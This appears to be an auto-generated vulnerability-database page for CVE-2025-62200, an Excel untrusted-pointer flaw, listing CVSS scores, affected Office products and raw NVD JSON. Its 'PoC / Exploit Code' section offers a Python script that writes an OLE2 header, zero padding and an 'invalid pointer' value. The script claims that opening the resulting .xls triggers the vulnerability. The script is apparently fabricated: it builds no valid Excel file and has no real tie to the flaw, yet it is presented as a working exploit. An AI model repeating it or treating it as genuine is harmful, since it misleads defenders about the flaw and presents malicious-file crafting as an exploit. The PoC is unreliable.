Security Vulnerability Report
中文
CVE-2025-62200 CVSS 7.8 HIGH

CVE-2025-62200

Published: 2025-11-11 18:15:43
Last Modified: 2025-11-17 18:02:00

Description

Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016
Microsoft Office Excel 2019
Microsoft 365 Apps for Enterprise
Microsoft Office Excel for Mac

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62200 PoC - Malformed Excel File Trigger # This PoC demonstrates the untrusted pointer dereference in Excel # Usage: Open the generated file in Microsoft Office Excel import struct import os def create_poc_excel(): """ Generate a malformed Excel file to trigger CVE-2025-62200 This PoC creates a minimal XLS file with crafted data that causes untrusted pointer dereference in Excel parsing engine """ # Excel file header (OLE2 format) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Crafted data section that triggers the vulnerability # The specific bytes are designed to cause pointer dereference issue malicious_data = b'\x00' * 512 malicious_data += b'\xFF\xFF\xFF\xFF' # Invalid pointer value malicious_data += b'\x00' * 256 # Build minimal compound file poc_file = header + malicious_data # Write POC file output_path = 'CVE-2025-62200_poc.xls' with open(output_path, 'wb') as f: f.write(poc_file) print(f"[+] PoC file created: {output_path}") print("[+] Open this file in Microsoft Office Excel to trigger vulnerability") print("[!] This is for educational and security research purposes only") if __name__ == "__main__": create_poc_excel()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62200", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:43.237", "lastModified": "2025-11-17T18:01:59.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20068", "matchCriteriaId": "5B5A0D24-857F-4078-A9C3-D4F2EEEF283F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62200", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}